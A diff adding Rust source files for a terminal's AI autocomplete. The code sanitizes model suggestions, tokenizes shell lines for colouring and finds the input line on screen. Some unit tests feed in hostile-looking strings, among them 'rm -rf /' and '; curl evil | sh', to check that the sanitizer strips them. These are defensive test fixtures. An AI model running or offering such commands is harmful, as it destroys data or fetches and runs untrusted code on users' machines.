b/llembas/line/src/suggest.rs new file mode 100644 index 000000000..cba0dca52 --- /dev/null +++ b/llembas/line/src/suggest.rs @@ -0,0 +1,173 @@ +//! What is offered after the cursor, and how much of it a key takes. +//! +//! A suggestion is text offered. Taking it puts it on the shell's line as if +//! typed; nothing here runs anything, and nothing in a suggestion can act as +//! a key: it is one line with no control character in it. + +/// The most characters a suggestion may have. +pub const MAX_CHARS: usize = 500; + +/// Where a suggestion came from. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum Source { + /// The terminal's own history of commands. + History, + /// LLeMbas (the autocomplete model). + Ai, +} + +/// The rest of a line as it may be offered: one line, no control character, +/// not endless; `None` when nothing is left of it. +pub fn clean_rest(rest: &str) -> Option { + let line = rest + .split(|c: char| c == '\n' || c == '\r') + .next() + .unwrap_or(""); + let cleaned: String = line + .chars() + .filter(|c| !c.is_control()) + .take(MAX_CHARS) + .collect(); + if cleaned.trim().is_empty() { + None + } else { + Some(cleaned) + } +} + +/// What a model answered for a line, as the rest of that line. A model may +/// repeat what was typed before going on: then only what follows is the rest. +pub fn clean_completion(answer: &str, typed: &str) -> Option { + let first = answer + .split(|c: char| c == '\n' || c == '\r') + .next() + .unwrap_or(""); + let rest = if !typed.is_empty() && first.starts_with(typed) { + &first[typed.len()..] + } else { + first + }; + clean_rest(rest) +} + +/// The first word of a suggestion, with the spaces before it: what "take one +/// word" takes. +pub fn first_word(rest: &str) -> &str { + let mut end = rest.len(); + let mut in_word = false; + for (i, c) in rest.char_indices() { + if c.is_whitespace() { + if in_word { + end = i; + break; + } + } else { + in_word = true; + } + } + &rest[..end] +} + +/// A suggestion as it fits in `room` columns after the cursor: cut with an +/// ellipsis when it is longer. `width` gives the columns a character takes. +pub fn fit(rest: &str, room: usize, width: &dyn Fn(char) -> usize) -> String { + let total: usize = rest.chars().map(|c| width(c)).sum(); + if total <= room { + return rest.to_string(); + } + if room == 0 { + return String::new(); + } + let mut out = String::new(); + let mut used = 0; + for c in rest.chars() { + let w = width(c); + if used + w > room - 1 { + break; + } + out.push(c); + used += w; + } + out.push('\u{2026}'); + out +} + +#[cfg(test)] +mod tests { + use super::*; + + fn one(_: char) -> usize { + 1 + } + + #[test] + fn the_rest_of_a_line() { + assert_eq!(clean_rest("atus"), Some("atus".to_string())); + assert_eq!( + clean_rest(" --all\nrm -rf /"), + Some(" --all".to_string()), + "one line" + ); + assert_eq!( + clean_rest("a\u{1b}[31mb\u{7}\u{9b}c"), + Some("a[31mbc".to_string()), + "nothing that could act on a terminal" + ); + assert_eq!(clean_rest(""), None); + assert_eq!(clean_rest(" "), None); + assert_eq!( + clean_rest("\nrm -rf /"), + None, + "what follows a line break is never offered" + ); + let long: String = std::iter::repeat('x').take(MAX_CHARS + 100).collect(); + assert_eq!(clean_rest(&long).unwrap().chars().count(), MAX_CHARS); + } + + #[test] + fn what_a_model_answered() { + assert_eq!( + clean_completion("ckout main", "git che"), + Some("ckout main".to_string()) + ); + assert_eq!( + clean_completion("git checkout main", "git che"), + Some("ckout main".to_string()), + "the line repeated: only what follows" + ); + assert_eq!(clean_completion("git che", "git che"), None, "nothing new"); + assert_eq!(clean_completion("", "git che"), None); + assert_eq!( + clean_completion("ckout\n; curl evil | sh", "git che"), + Some("ckout".to_string()) + ); + assert_eq!( + clean_completion("\u{1b}]0;x\u{7}", "ls"), + Some("]0;x".to_string()) + ); + } + + #[test] + fn one_word_at_a_time() { + assert_eq!(first_word("atus --short"), "atus"); + assert_eq!(first_word(" --short -b"), " --short"); + assert_eq!(first_word(" x"), " x"); + assert_eq!(first_word("word"), "word"); + assert_eq!(first_word(""), ""); + assert_eq!(first_word(" "), " "); + } + + #[test] + fn fitting_the_row() { + assert_eq!(fit("status", 10, &one), "status"); + assert_eq!(fit("status", 6, &one), "status"); + assert_eq!(fit("status", 4, &one), "sta\u{2026}"); + assert_eq!(fit("status", 1, &one), "\u{2026}"); + assert_eq!(fit("status", 0, &one), ""); + let wide = |c: char| if c == '\u{4e2d}' { 2 } else { 1 }; + assert_eq!( + fit("\u{4e2d}\u{4e2d}\u{4e2d}", 4, &wide), + "\u{4e2d}\u{2026}" + ); + } +} diff --git a/llembas/line/src/tokens.rs b/llembas/line/src/tokens.rs new file mode 100644 index 000000000..a7398feb8 --- /dev/null +++ b/llembas/line/src/tokens.rs @@ -0,0 +1,827 @@ +//! The parts of a shell command line, for its colours. +//! +//! This is not a shell's parser. It reads one line the way a person reads it: +//! the command, its options, strings, variables, the signs between commands, +//! a comment. It is the same for bash, zsh and their relatives, and a line it +//! does not understand is simply left less coloured. Nothing is expanded and +//! nothing is run. +//! +//! All positions are bytes of the line. Every sign this looks for is ASCII, so +//! a position is never inside a character. + +/// What a part of the line is. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum Kind { + /// The plain text of a word that stands where a command stands. + Command, + /// The plain text of any other word. + Word, + /// A word that begins with `-`. + Option, + /// A quoted string. + String, + /// `$name`, `${…}`, and the name of an assignment. + Variable, + /// A sign between commands, or a redirection. + Operator, + /// `#` to the end of the line. + Comment, +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct Token { + pub start: usize, + pub end: usize, + pub kind: Kind, +} + +/// What a whole word is to the command line. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum Role { + Command, + Argument, + Option, + /// `NAME=value` before a command. + Assignment, + /// The file of a redirection. + Target, +} + +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct Word { + pub start: usize, + pub end: usize, + pub role: Role, + /// What the word says with its quotes taken off, for a command, an + /// argument or a target; `None` when that cannot be known without the + /// shell (a variable, a pattern). + pub value: Option, +} + +#[derive(Debug, Clone, Default, PartialEq, Eq)] +pub struct Parsed { + /// The coloured parts, in order, never overlapping. + pub tokens: Vec, + pub words: Vec, +} + +/// Words after which another command stands. +const BEFORE_A_COMMAND: &[&str] = &[ + "!", "builtin", "command", "do", "doas", "elif", "else", "exec", "if", "nohup", "sudo", "then", + "time", "until", "while", +]; + +/// What every shell of the family knows without looking in `PATH`: its own +/// words and its built-in commands. +const BUILTINS: &[&str] = &[ + "!", ".", ":", "[", "[[", "alias", "bg", "bind", "break", "builtin", "case", "cd", "command", + "continue", "declare", "dirs", "disown", "do", "done", "echo", "elif", "else", "esac", "eval", + "exec", "exit", "export", "false", "fc", "fg", "fi", "for", "function", "getopts", "hash", + "help", "history", "if", "in", "jobs", "kill", "let", "local", "logout", "popd", "printf", + "pushd", "pwd", "read", "readonly", "return", "select", "set", "shift", "shopt", "source", + "suspend", "test", "then", "time", "times", "trap", "true", "type", "typeset", "ulimit", + "umask", "unalias", "unset", "until", "wait", "while", +]; + +pub fn is_builtin(name: &str) -> bool { + BUILTINS.contains(&name) +} + +fn is_name_start(c: u8) -> bool { + c.is_ascii_alphabetic() || c == b'_' +} + +fn is_name_char(c: u8) -> bool { + c.is_ascii_alphanumeric() || c == b'_' +} + +/// From an opening `'` at `j` to after its closing one (or the end). +fn skip_single(b: &[u8], j: usize) -> usize { + let mut k = j + 1; + while k < b.len() { + if b[k] == b'\'' { + return k + 1; + } + k += 1; + } + b.len() +} + +/// From an opening quote at `j` to after its closing one (or the end), where a +/// backslash takes the character after it: `"…"` and `$'…'`. +fn skip_escaped(b: &[u8], j: usize, quote: u8) -> usize { + let mut k = j + 1; + while k < b.len() { + if b[k] == b'\\' { + k += 2; + continue; + } + if b[k] == quote { + return k + 1; + } + k += 1; + } + b.len() +} + +/// The length of the variable that starts with the `$` at `k`; 1 when the `$` +/// is only a `$`. +fn variable_len(b: &[u8], k: usize) -> usize { + let n = b.len(); + if k + 1 >= n { + return 1; + } + let c = b[k + 1]; + if c == b'{' { + let mut m = k + 2; + while m < n { + if b[m] == b'}' { + return m + 1 - k; + } + m += 1; + } + return n - k; + } + if is_name_start(c) { + let mut m = k + 2; + while m < n && is_name_char(b[m]) { + m += 1; + } + return m - k; + } + if c.is_ascii_digit() || b"?!#$*@-".contains(&c) { + return 2; + } + 1 +} + +/// The length of the sign that starts at `i`, when one does. +fn operator_len(b: &[u8], i: usize) -> Option { + let n = b.len(); + let at = |k: usize| -> u8 { + if k < n { + b[k] + } else { + 0 + } + }; + let c = b[i]; + match c { + b';' => Some(if at(i + 1) == b';' { 2 } else { 1 }), + b'|' => Some(if at(i + 1) == b'|' || at(i + 1) == b'&' { + 2 + } else { + 1 + }), + b'&' => { + if at(i + 1) == b'&' { + Some(2) + } else if at(i + 1) == b'>' { + Some(if at(i + 2) == b'>' { 3 } else { 2 }) + } else { + Some(1) + } + } + b'(' | b')' | b'`' => Some(1), + b'$' if at(i + 1) == b'(' => Some(2), + b'<' | b'>' => Some(redirect_len(b, i)), + _ if c.is_ascii_digit() => { + // a file descriptor before a redirection: 2> 2>&1 + let mut k = i; + while k < n && b[k].is_ascii_digit() { + k += 1; + } + if at(k) == b'<' || at(k) == b'>' { + Some(k - i + redirect_len(b, k)) + } else { + None + } + } + _ => None, + } +} + +/// The length of the redirection whose `<` or `>` is at `i`. +fn redirect_len(b: &[u8], i: usize) -> usize { + let n = b.len(); + let mut k = i + 1; + if k < n && b[k] == b[i] { + // << >> + k += 1; + if k < n && b[i] == b'<' && b[k] == b'<' { + // <<< + k += 1; + } + return k - i; + } + if k < n && b[k] == b'|' && b[i] == b'>' { + return 2; + } + if k < n && b[k] == b'&' { + // >& >&2 <&- + k += 1; + if k < n && b[k] == b'-' { + k += 1; + } else { + while k < n && b[k].is_ascii_digit() { + k += 1; + } + } + } + k - i +} + +/// Does this redirection name its own target (`2>&1`, `<&-`)? +fn redirect_is_whole(op: &str) -> bool { + match op.find('&') { + Some(amp) => amp + 1 < op.len() && !op.starts_with('&'), + None => false, + } +} + +/// Where the word that starts at `i` ends. +fn word_end(b: &[u8], i: usize) -> usize { + let n = b.len(); + let mut j = i; + while j < n { + match b[j] { + b' ' | b'\t' | b';' | b'|' | b'&' | b'(' | b')' | b'<' | b'>' | b'`' => break, + b'\\' => j += 2, + b'\'' => j = skip_single(b, j), + b'"' => j = skip_escaped(b, j, b'"'), + b'$' if j + 1 < n && b[j + 1] == b'\'' => j = skip_escaped(b, j + 1, b'\''), + b'$' if j + 1 < n && b[j + 1] == b'(' => break, + b'$' => j += variable_len(b, j), + _ => j += 1, + } + } + j.min(n) +} + +/// The length of `NAME=` or `NAME+=` at the start of a word, when the word is +/// an assignment. +fn assignment_len(raw: &str) -> Option { + let b = raw.as_bytes(); + if b.is_empty() || !is_name_start(b[0]) { + return None; + } + let mut k = 1; + while k < b.len() && is_name_char(b[k]) { + k += 1; + } + if k < b.len() && b[k] == b'+' { + k += 1; + } + if k < b.len() && b[k] == b'=' { + Some(k + 1) + } else { + None + } +} + +/// What a word says with its quotes taken off; `None` when it holds something +/// only the shell can resolve (a variable, a substitution, a pattern). +pub fn plain_value(raw: &str) -> Option { + let mut out = String::new(); + let mut chars = raw.chars(); + while let Some(c) = chars.next() { + match c { + '$' | '`' | '*' | '?' | '[' | '{' => return None, + '\\' => match chars.next() { + Some(next) => out.push(next), + None => out.push('\\'), + }, + '\'' => { + for q in chars.by_ref() { + if q == '\'' { + break; + } + out.push(q); + } + } + '"' => { + while let Some(q) = chars.next() { + match q { + '"' => break, + '$' | '`' => return None, + '\\' => { + if let Some(next) = chars.next() { + out.push(next); + } + } + q => out.push(q), + } + } + } + c => out.push(c), + } + } + Some(out) +} + +fn push(tokens: &mut Vec, start: usize, end: usize, kind: Kind) { + if end > start { + tokens.push(Token { start, end, kind }); + } +} + +/// The parts of a double-quoted string from its opening quote at `start` to +/// `end`: the string, with the variables in it picked out. +fn push_double(tokens: &mut Vec, b: &[u8], start: usize, end: usize) { + let mut seg = start; + let mut m = start + 1; + while m < end { + if b[m] == b'\\' { + m += 2; + continue; + } + if b[m] == b'$' { + let len = variable_len(b, m).min(end - m); + if len > 1 { + push(tokens, seg, m, Kind::String); + push(tokens, m, m + len, Kind::Variable); + m += len; + seg = m; + continue; + } + } + m += 1; + } + push(tokens, seg, end, Kind::String); +} + +/// The parts of the word `[start, end)`, its plain text of kind `plain`. +fn push_word(tokens: &mut Vec, b: &[u8], start: usize, end: usize, plain: Kind) { + let mut seg = start; + let mut k = start; + while k < end { + match b[k] { + b'\\' => k = (k + 2).min(end), + b'\'' => { + let q = skip_single(b, k).min(end); + push(tokens, seg, k, plain); + push(tokens, k, q, Kind::String); + k = q; + seg = k; + } + b'"' => { + let q = skip_escaped(b, k, b'"').min(end); + push(tokens, seg, k, plain); + push_double(tokens, b, k, q); + k = q; + seg = k; + } + b'$' if k + 1 < end && b[k + 1] == b'\'' => { + let q = skip_escaped(b, k + 1, b'\'').min(end); + push(tokens, seg, k, plain); + push(tokens, k, q, Kind::String); + k = q; + seg = k; + } + b'$' => { + let len = variable_len(b, k).min(end - k); + if len > 1 { + push(tokens, seg, k, plain); + push(tokens, k, k + len, Kind::Variable); + k += len; + seg = k; + } else { + k += 1; + } + } + _ => k += 1, + } + } + push(tokens, seg, end, plain); +} + +/// Read a command line. +pub fn parse(line: &str) -> Parsed { + let b = line.as_bytes(); + let n = b.len(); + let mut parsed = Parsed::default(); + let mut command_next = true; + let mut target_next = false; + let mut i = 0; + while i < n { + let c = b[i]; + if c == b' ' || c == b'\t' { + i += 1; + continue; + } + if c == b'#' { + push(&mut parsed.tokens, i, n, Kind::Comment); + break; + } + if let Some(len) = operator_len(b, i) { + let end = (i + len).min(n); + push(&mut parsed.tokens, i, end, Kind::Operator); + let op = &line[i..end]; + if op.contains('<') || op.contains('>') { + target_next = !redirect_is_whole(op); + } else { + target_next = false; + command_next = op != ")"; + } + i = end; + continue; + } + + let end = word_end(b, i).max(i + 1).min(n); + let raw = &line[i..end]; + if raw == "{" || raw == "}" { + push(&mut parsed.tokens, i, end, Kind::Operator); + command_next = raw == "{"; + i = end; + continue; + } + + if target_next { + target_next = false; + push_word(&mut parsed.tokens, b, i, end, Kind::Word); + parsed.words.push(Word { + start: i, + end, + role: Role::Target, + value: plain_value(raw), + }); + } else if command_next { + if let Some(len) = assignment_len(raw) { + push(&mut parsed.tokens, i, i + len, Kind::Variable); + push_word(&mut parsed.tokens, b, i + len, end, Kind::Word); + parsed.words.push(Word { + start: i, + end, + role: Role::Assignment, + value: None, + }); + } else if raw.len() > 1 && raw.starts_with('-') { + // an option of the word before (sudo -E make): a command still follows + push_word(&mut parsed.tokens, b, i, end, Kind::Option); + parsed.words.push(Word { + start: i, + end, + role: Role::Option, + value: None, + }); + } else { + push_word(&mut parsed.tokens, b, i, end, Kind::Command); + let value = plain_value(raw); + command_next = match &value { + Some(v) => BEFORE_A_COMMAND.contains(&v.as_str()), + None => false, + }; + parsed.words.push(Word { + start: i, + end, + role: Role::Command, + value, + }); + } + } else if raw.len() > 1 && raw.starts_with('-') { + push_word(&mut parsed.tokens, b, i, end, Kind::Option); + parsed.words.push(Word { + start: i, + end, + role: Role::Option, + value: None, + }); + } else { + push_word(&mut parsed.tokens, b, i, end, Kind::Word); + parsed.words.push(Word { + start: i, + end, + role: Role::Argument, + value: plain_value(raw), + }); + } + i = end; + } + parsed +} + +#[cfg(test)] +mod tests { + use super::Kind::*; + use super::*; + + /// The parts of a line as (text, kind). + fn parts(line: &str) -> Vec<(&str, Kind)> { + parse(line) + .tokens + .iter() + .map(|t| (&line[t.start..t.end], t.kind)) + .collect() + } + + /// The words of a line as (text, role). + fn roles(line: &str) -> Vec<(&str, Role)> { + parse(line) + .words + .iter() + .map(|w| (&line[w.start..w.end], w.role)) + .collect() + } + + #[test] + fn a_command_its_options_and_arguments() { + assert_eq!( + parts("git commit -m 'a message' --amend file.txt"), + vec![ + ("git", Command), + ("commit", Word), + ("-m", Option), + ("'a message'", String), + ("--amend", Option), + ("file.txt", Word), + ] + ); + assert_eq!(parts(""), vec![]); + assert_eq!(parts(" "), vec![]); + assert_eq!( + parts("ls -"), + vec![("ls", Command), ("-", Word)], + "a lone dash is a file" + ); + } + + #[test] + fn commands_after_the_signs_between_them() { + assert_eq!( + parts("make && make test || echo no; ls | wc -l &"), + vec![ + ("make", Command), + ("&&", Operator), + ("make", Command), + ("test", Word), + ("||", Operator), + ("echo", Command), + ("no", Word), + (";", Operator), + ("ls", Command), + ("|", Operator), + ("wc", Command), + ("-l", Option), + ("&", Operator), + ] + ); + assert_eq!( + parts("(cd /tmp && ls)"), + vec![ + ("(", Operator), + ("cd", Command), + ("/tmp", Word), + ("&&", Operator), + ("ls", Command), + (")", Operator), + ] + ); + assert_eq!( + parts("{ a; }"), + vec![ + ("{", Operator), + ("a", Command), + (";", Operator), + ("}", Operator) + ] + ); + } + + #[test] + fn words_before_a_command() { + assert_eq!( + roles("sudo -E make install"), + vec![ + ("sudo", Role::Command), + ("-E", Role::Option), + ("make", Role::Command), + ("install", Role::Argument), + ] + ); + assert_eq!( + parts("if true; then echo yes; fi"), + vec![ + ("if", Command), + ("true", Command), + (";", Operator), + ("then", Command), + ("echo", Command), + ("yes", Word), + (";", Operator), + ("fi", Command), + ] + ); + assert_eq!( + parts("LANG=C LC_ALL=\"C\" sort x"), + vec![ + ("LANG=", Variable), + ("C", Word), + ("LC_ALL=", Variable), + ("\"C\"", String), + ("sort", Command), + ("x", Word), + ] + ); + assert_eq!(roles("A=1")[0].1, Role::Assignment); + assert_eq!( + roles("ls A=1")[1].1, + Role::Argument, + "only before a command" + ); + } + + #[test] + fn strings_and_variables() { + assert_eq!( + parts("echo \"home is $HOME and ${USER}!\" $? $'a\\'b' pre$X.txt"), + vec![ + ("echo", Command), + ("\"home is ", String), + ("$HOME", Variable), + (" and ", String), + ("${USER}", Variable), + ("!\"", String), + ("$?", Variable), + ("$'a\\'b'", String), + ("pre", Word), + ("$X", Variable), + (".txt", Word), + ] + ); + assert_eq!( + parts("echo 'never closed"), + vec![("echo", Command), ("'never closed", String)], + "a string still being typed" + ); + assert_eq!( + parts("echo \"a \\\" b\" c"), + vec![("echo", Command), ("\"a \\\" b\"", String), ("c", Word)] + ); + assert_eq!( + parts("echo a\\ b"), + vec![("echo", Command), ("a\\ b", Word)] + ); + assert_eq!(parts("echo $"), vec![("echo", Command), ("$", Word)]); + assert_eq!( + parts("echo ${never"), + vec![("echo", Command), ("${never", Variable)] + ); + } + + #[test] + fn substitutions() { + assert_eq!( + parts("echo $(date +%s) `id -u`"), + vec![ + ("echo", Command), + ("$(", Operator), + ("date", Command), + ("+%s", Word), + (")", Operator), + ("`", Operator), + ("id", Command), + ("-u", Option), + ("`", Operator), + ] + ); + } + + #[test] + fn redirections() { + assert_eq!( + parts("make > out.log 2>&1 < in >> more 2> err &> all"), + vec![ + ("make", Command), + (">", Operator), + ("out.log", Word), + ("2>&1", Operator), + ("<", Operator), + ("in", Word), + (">>", Operator), + ("more", Word), + ("2>", Operator), + ("err", Word), + ("&>", Operator), + ("all", Word), + ] + ); + assert_eq!( + roles("cat < in > out"), + vec![ + ("cat", Role::Command), + ("in", Role::Target), + ("out", Role::Target) + ] + ); + assert_eq!( + roles("> out echo hi"), + vec![ + ("out", Role::Target), + ("echo", Role::Command), + ("hi", Role::Argument) + ], + "a redirection first: the command still follows" + ); + assert_eq!( + parts("cat <<< text"), + vec![("cat", Command), ("<<<", Operator), ("text", Word)] + ); + assert_eq!( + parts("echo 2 3"), + vec![("echo", Command), ("2", Word), ("3", Word)], + "a number is a file descriptor only before a redirection" + ); + } + + #[test] + fn comments() { + assert_eq!( + parts("ls # all of it; rm -rf"), + vec![("ls", Command), ("# all of it; rm -rf", Comment)] + ); + assert_eq!( + parts("# only a comment"), + vec![("# only a comment", Comment)] + ); + assert_eq!( + parts("echo a#b"), + vec![("echo", Command), ("a#b", Word)], + "inside a word it is no comment" + ); + } + + #[test] + fn values() { + assert_eq!(plain_value("git"), Some("git".to_string())); + assert_eq!( + plain_value("'my file'.txt"), + Some("my file.txt".to_string()) + ); + assert_eq!(plain_value("\"a b\"/c\\ d"), Some("a b/c d".to_string())); + assert_eq!(plain_value("$HOME/bin"), None); + assert_eq!(plain_value("\"$HOME\""), None); + assert_eq!(plain_value("*.txt"), None); + assert_eq!(plain_value("file{1,2}"), None); + let p = parse("'/usr/bin/my prog' x"); + assert_eq!(p.words[0].role, Role::Command); + assert_eq!(p.words[0].value, Some("/usr/bin/my prog".to_string())); + } + + #[test] + fn builtins() { + assert!(is_builtin("cd")); + assert!(is_builtin("[[")); + assert!(is_builtin("fi")); + assert!(!is_builtin("git")); + assert!(!is_builtin("")); + } + + #[test] + fn text_that_is_not_ascii() { + assert_eq!( + parts("echo \u{17e}lu\u{165}ou\u{10d}k\u{fd} '\u{4e2d}\u{6587}' # \u{e1}no"), + vec![ + ("echo", Command), + ("\u{17e}lu\u{165}ou\u{10d}k\u{fd}", Word), + ("'\u{4e2d}\u{6587}'", String), + ("# \u{e1}no", Comment), + ] + ); + } + + #[test] + fn nothing_overlaps_and_nothing_is_out_of_the_line() { + for line in [ + "a\\", + "\"", + "'", + "$", + "${", + "$'", + "2>", + ">&", + "&>>", + "a=\"", + "x $(", + "\\", + "echo \"$", + "echo \"\\", + "<<<", + "1", + "12>", + ] { + let p = parse(line); + let mut at = 0; + for t in &p.tokens { + assert!(t.start >= at, "{:?} overlaps in {:?}", t, line); + assert!(t.end > t.start, "{:?} is empty in {:?}", t, line); + assert!(t.end <= line.len(), "{:?} is out of {:?}", t, line); + assert!(line.is_char_boundary(t.start) && line.is_char_boundary(t.end)); + at = t.end; + } + for w in &p.words { + assert!(w.start < w.end && w.end <= line.len()); + } + } + } +} diff --git a/llembas/line/src/zone.rs b/llembas/line/src/zone.rs new file mode 100644 index 000000000..796b6f2fa --- /dev/null +++ b/llembas/line/src/zone.rs @@ -0,0 +1,366 @@ +//! The shell's input line, read from the screen. +//! +//! The terminal does not follow what is typed: a shell edits its line in ways +//! key presses do not show (history, completion, a widget). What the line +//! holds is read back from the cells the shell drew. A shell with the shell +//! integration marks them: cells written after the end of its prompt (OSC 133 +//! B) are *input* until the command starts. +//! +//! The terminal's part turns the rows near the cursor into [`Cell`]s; this +//! module finds the input line among them. + +/// One cell of a row as the terminal has it. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct Cell { + /// Its first column. + pub col: usize, + /// The columns it takes (1, or 2 for a wide character). + pub width: usize, + /// What it shows. + pub text: String, + /// Marked as input by the shell integration. + pub input: bool, +} + +/// The cells of a row that hold something, by column. +pub type Row = Vec; + +/// Where a part of the input line's text is on the screen. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct Piece { + /// Index of its row among the rows given. + pub row: usize, + pub col: usize, + pub width: usize, + /// Its bytes in [`Zone::text`]. + pub start: usize, + pub end: usize, +} + +/// The input line. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct Zone { + /// Everything on the line. + pub text: String, + /// The byte in `text` the cursor stands before. + pub cursor: usize, + /// Where each cell's text is. + pub pieces: Vec, +} + +impl Zone { + /// What is typed up to the cursor. + pub fn typed(&self) -> &str { + &self.text[..self.cursor] + } + + /// What the line holds after the cursor. + pub fn after(&self) -> &str { + &self.text[self.cursor..] + } + + /// Is the cursor at the end of what is typed? (Cells a shell blanked when + /// something was deleted do not count.) + pub fn at_end(&self) -> bool { + self.after().trim().is_empty() + } +} + +/// The run of input cells of a row that touches column `at`: the indices +/// `[from, to)` into the row. A cell touches when it ends at `at` (the cursor +/// is right after it) or starts at it. +fn run_touching(row: &[Cell], at: usize) -> Option<(usize, usize)> { + let mut k = None; + for (i, cell) in row.iter().enumerate() { + if !cell.input { + continue; + } + let end = cell.col + cell.width.max(1); + if at > 0 && cell.col < at && at <= end { + // the cell just before the cursor wins over the one under it + k = Some(i); + break; + } + if cell.col == at && k.is_none() { + k = Some(i); + } + } + let k = k?; + Some(extend_run(row, k)) +} + +/// Grow a run from the cell of index `k` to every input cell that follows on +/// without a gap, both ways. +fn extend_run(row: &[Cell], k: usize) -> (usize, usize) { + let mut from = k; + while from > 0 { + let prev = &row[from - 1]; + if prev.input && prev.col + prev.width.max(1) == row[from].col { + from -= 1; + } else { + break; + } + } + let mut to = k + 1; + while to < row.len() { + let prev = &row[to - 1]; + if row[to].input && prev.col + prev.width.max(1) == row[to].col { + to += 1; + } else { + break; + } + } + (from, to) +} + +/// Find the input line the cursor is on. +/// +/// - `rows`: some rows of the screen, top to bottom, among them the cursor's; +/// - `cursor_row`: the index of the cursor's row in `rows`, `cursor_col` its column; +/// - `cols`: the width of the pane (a line that reaches it carries on in the next row); +/// - `max_rows`: a line of more rows than this is not taken. +/// +/// `None` when the cursor is not on an input line: no shell integration, a +/// program other than the shell has the pane, or the line is too long. +pub fn input_zone( + rows: &[Row], + cursor_row: usize, + cursor_col: usize, + cols: usize, + max_rows: usize, +) -> Option { + let row = rows.get(cursor_row)?; + let (from, to) = run_touching(row, cursor_col)?; + + // (row index, from, to), top to bottom + let mut runs: Vec<(usize, usize, usize)> = vec![(cursor_row, from, to)]; + + // A run that starts in the first column carries on from the row above, + // when that row's input reaches the last column. + let mut r = cursor_row; + let mut first_from = from; + while r > 0 && rows[r][first_from].col == 0 { + let above = &rows[r - 1]; + let last = match above.last() { + Some(last) => last, + None => break, + }; + if !last.input || last.col + last.width.max(1) < cols { + break; + } + let (f, t) = extend_run(above, above.len() - 1); + runs.insert(0, (r - 1, f, t)); + if runs.len() > max_rows { + return None; + } + r -= 1; + first_from = f; + } + + // And one that reaches the last column carries on in the row below. + let mut r = cursor_row; + let mut last_to = to; + while r + 1 < rows.len() { + let last = &rows[r][last_to - 1]; + if last.col + last.width.max(1) < cols { + break; + } + let below = &rows[r + 1]; + match below.first() { + Some(first) if first.input && first.col == 0 => {} + _ => break, + } + let (f, t) = extend_run(below, 0); + runs.push((r + 1, f, t)); + if runs.len() > max_rows { + return None; + } + r += 1; + last_to = t; + } + + let mut text = String::new(); + let mut pieces = Vec::new(); + let mut cursor = None; + for (r, f, t) in runs { + for cell in &rows[r][f..t] { + if cursor.is_none() && (r > cursor_row || (r == cursor_row && cell.col >= cursor_col)) { + cursor = Some(text.len()); + } + let start = text.len(); + text.push_str(&cell.text); + pieces.push(Piece { + row: r, + col: cell.col, + width: cell.width.max(1), + start, + end: text.len(), + }); + } + } + let cursor = cursor.unwrap_or(text.len()); + Some(Zone { + text, + cursor, + pieces, + }) +} + +#[cfg(test)] +mod tests { + use super::*; + + /// A row from a picture of it: `p` marks a prompt cell, `i` an input cell, + /// `.` a cell nothing was written to. `text` gives the characters. + fn row(text: &str, marks: &str) -> Row { + let mut cells = Vec::new(); + for (col, (c, m)) in text.chars().zip(marks.chars()).enumerate() { + if m == '.' { + continue; + } + cells.push(Cell { + col, + width: 1, + text: c.to_string(), + input: m == 'i', + }); + } + cells + } + + #[test] + fn the_line_after_the_prompt() { + let rows = vec![row("$ git st", "ppiiiiii")]; + let z = input_zone(&rows, 0, 8, 80, 3).unwrap(); + assert_eq!(z.text, "git st"); + assert_eq!(z.typed(), "git st"); + assert_eq!(z.after(), ""); + assert!(z.at_end()); + assert_eq!(z.pieces.len(), 6); + assert_eq!(z.pieces[0].col, 2); + assert_eq!((z.pieces[5].start, z.pieces[5].end), (5, 6)); + } + + #[test] + fn the_cursor_inside_the_line() { + let rows = vec![row("$ git st", "ppiiiiii")]; + let z = input_zone(&rows, 0, 5, 80, 3).unwrap(); + assert_eq!(z.typed(), "git"); + assert_eq!(z.after(), " st"); + assert!(!z.at_end()); + let z = input_zone(&rows, 0, 2, 80, 3).unwrap(); + assert_eq!(z.typed(), "", "at the start of the line"); + assert_eq!(z.after(), "git st"); + } + + #[test] + fn cells_blanked_by_a_deletion_are_not_typed() { + // "git status" typed, then the last four characters deleted + let rows = vec![row("$ git st ", "ppiiiiiiiiii")]; + let z = input_zone(&rows, 0, 8, 80, 3).unwrap(); + assert_eq!(z.typed(), "git st"); + assert!(z.at_end()); + } + + #[test] + fn a_typed_space_at_the_end_is_typed() { + let rows = vec![row("$ git ", "ppiiii")]; + let z = input_zone(&rows, 0, 6, 80, 3).unwrap(); + assert_eq!(z.typed(), "git "); + } + + #[test] + fn no_input_cells_no_line() { + // a fresh prompt, a program's own prompt, a shell without the integration + assert_eq!(input_zone(&[row("$ ", "pp")], 0, 2, 80, 3), None); + assert_eq!( + input_zone(&[row(">>> x = 1", "ppppppppp")], 0, 9, 80, 3), + None + ); + assert_eq!(input_zone(&[row("", "")], 0, 0, 80, 3), None); + assert_eq!(input_zone(&[], 0, 0, 80, 3), None); + assert_eq!(input_zone(&[row("$ ls", "ppii")], 3, 4, 80, 3), None); + } + + #[test] + fn the_command_above_is_another_line() { + // `cd x` ran and printed nothing; a new prompt, "ls" typed + let rows = vec![row("$ cd x", "ppiiii"), row("$ ls", "ppii")]; + let z = input_zone(&rows, 1, 4, 80, 3).unwrap(); + assert_eq!(z.text, "ls"); + // and the cursor on a row below a command that ran is on no line + let rows = vec![row("$ cd x", "ppiiii"), row("", "")]; + assert_eq!(input_zone(&rows, 1, 0, 80, 3), None); + } + + #[test] + fn something_drawn_further_right_is_not_the_line() { + // a prompt part at the right edge, drawn by the shell after the line's start + let rows = vec![row("$ ls 12:00", "ppii........iiiii")]; + let z = input_zone(&rows, 0, 4, 80, 3).unwrap(); + assert_eq!(z.text, "ls"); + assert!(z.at_end()); + // the cursor two columns past the end is not on the line + assert_eq!(input_zone(&rows, 0, 6, 80, 3), None); + } + + #[test] + fn a_line_that_wraps() { + let rows = vec![ + row("$ abcdef", "ppiiiiii"), + row("ghijklmn", "iiiiiiii"), + row("op", "ii"), + ]; + let z = input_zone(&rows, 2, 2, 8, 3).unwrap(); + assert_eq!(z.text, "abcdefghijklmnop"); + assert!(z.at_end()); + assert_eq!(z.pieces[6].row, 1); + assert_eq!(z.pieces[6].col, 0); + // the cursor in the first row: the rows below belong to 